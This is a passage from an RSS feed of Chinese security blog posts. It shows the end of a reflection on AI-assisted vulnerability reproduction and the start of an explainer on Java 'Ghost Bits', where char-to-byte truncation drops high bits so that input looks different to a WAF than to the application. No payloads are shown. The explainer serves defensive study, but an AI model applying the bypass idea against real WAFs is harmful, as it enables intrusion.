style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-top-style: initial;border-right-style: solid;border-bottom-style: initial;border-left-style: solid;border-top-color: initial;border-right-color: transparent;border-bottom-color: initial;border-left-color: transparent;border-image: initial;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin-right: auto;margin-bottom: auto;margin-left: auto;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4ec29f9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtvibOp795nL2Qv9Kib12vLId3NKFTLibpBFQKG2ctbsAWf4SibvcVI6M3mMibJ5IVR4ff5UibZyveUL2c6kUO48dJkKm3j2MAdU2sT9A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n401" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在完成的复盘完漏洞之后，内心还是百感交易，一方面基于AI的探索和漏洞挖掘体系逐渐变得熟练和成熟，AI能做的事情越来越多，另一方面也感叹，居然这种已经被研究烂了的目标还能巧妙的找到新的利用角度，任重而道远~</span></span></span></p><p cid="n402" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">坦白讲这是我第一次以AI为主做漏洞复现和分析，在这个新时代下，效率的提升和未知领域的帮助AI提升巨大，但反过来，AI在未知位置隐藏的错误信息也可能会滚雪球误导，中间关于tomcat实际环境与SPringBoot联动问题在我3次和AI探讨都获得了不同的答案，如何避免这样的事情可能是接下来最重要的事情。</span></span></span></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=beb6d5c9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484341%26idx%3D1%26sn%3D522af3f09633a3a50db2604e6a6c1435">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 22 Jul 2026 15:59:00 +0800</pubDate>
    </item>
    <item>
      <title>Ghost Bits，Java WAF之殇？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484328&amp;idx=1&amp;sn=c5e9397cfd395a2e969ca70ebe70465b</link>
      <description>在前两天的BlacksetHat Asia 2026上，@浅蓝和@1ua分享一个非常有趣的议题，Java中的GhostBits漏洞</description>
      <content:encoded><![CDATA[<p>原创 <span>LoRexxar</span> <span>2026-04-29 18:21</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=42113fc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FgIBYXIMwxtsgIV3KAAn190EmGuNtw7nNc8PV57cXURXtjj9Lk2VBvUT3LiabeEkTSW4kPsbp7dbCV2I0b3syFkgjILggpria5b7pjYqJAsFao%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>在前两天的BlacksetHat Asia 2026上，@浅蓝和@1ua分享一个非常有趣的议题，Java中的GhostBits漏洞</p>
  <div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在前两天的BlacksetHat Asia 2026上，@浅蓝和@1ue分享一个非常有趣的议题，Java中的GhostBits漏洞</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• <a href="https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf" target="_blank">https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf</a></span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">探究深度非常深，影响范围非常之广，内容非常有意思</span></p><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">什么是Ghost Bits？</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">Ghost Bits这个概念的来源太久很难深究，甚至在软件领域之前就已经有类似的概念。</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Ghost Bits主要是指那些在莫名其妙的位置影响到软件运行的位，所以形容像幽灵一样。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在这个议题中，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Ghost Bits主要指的是在某些类型转换过程中被不小心丢掉的高位，导致原字符串内容变化。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最经典的场景就是</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">char类型和byte类型的转换</span></strong><span leaf="">，也是Java的经典场景。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">char类型是16位（2字节），byte类型是8位（1字节）</span></strong><span leaf="">，如果发生char强制转换为byte就会丢弃高8位，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">只保留低8位</span></strong><span leaf="">。其中的8位就像幽灵一样消失了。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000672" title="null" data-type="png" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8d94f75c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtsT9fJPIh0vWrWIajIYpTsqUYIz10vlND7PqDqaLicqMhHxzYnWecHaia5TzatojDtdVeYbMlmBwOxcJ6G9aV4icgun5AtnXTuREA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在Java中，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">有4种非常常见的写法</span></strong><span leaf="">都会有该问题</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">(byte) ch</span></code><span leaf="">：显式的byte强制类型转化</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ch &amp; 0xFF</span></code><span leaf="">：位掩码，保留低8位</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">OutputStream.write(int)</span></code><span leaf="">：写入流时被截断</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DataOutputStream.writeBytes()</span></code><span leaf="">：官方JDK方法，在文档中明确写明会丢弃高8位</span></p></li></ul><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000668" title="null" data-type="png" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b3862bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtth3suAm266aKOeWFicmQDEJ7p3icv8ARzhxWiaO7DhG4CyEncD1hVuJerBqdoRBkM9lhIicZlREwspanOPGLiaIkKv9xTNKOiaqCgcg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"><span leaf=""><br/></span></figcaption></figure><span leaf="">而在unicode中，会有大量的高位内容，经过处理和转换之后就会被截断变成对应的字符</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000669" title="null" data-type="png" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c4d0a6a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtvkianNHqK5UUw9eM4nHGicibib49DVLZs35tiaAf4uU2qEtwhdb0Qut85Ky50VSF17peXp0ZZeNa9PDnIaHDliboOZajUPogPct0Oac%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"><span leaf=""><br/></span></figcaption></figure><span leaf="">要注意的是，这个问题本质上</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">在源代码层面表现一致，不能单独算作是一个漏洞</span></strong><span leaf="">，所以在80%的场景下，该问题主要影响的是</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">和源代码不在同一层的软件，其中最经典的就是waf</span></strong><span leaf="">！</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000670" title="null" data-type="png" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0a23b229&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtsaLQxt9Og3uiawMvThmmqDbGH7G5nKOwzpPp2HeXSADFibreKAKjb08jZxFb7oNIFWY5n619ruibSnq13fKaZ4aicKkwIXuev5ejQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">具体怎么回事？</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">基础的原理刚才都理解了，其实就是利用高位无效的机制问题，使得</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">输入的内容在waf和实际源代码处理的时候遇到的是不同的内容</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span 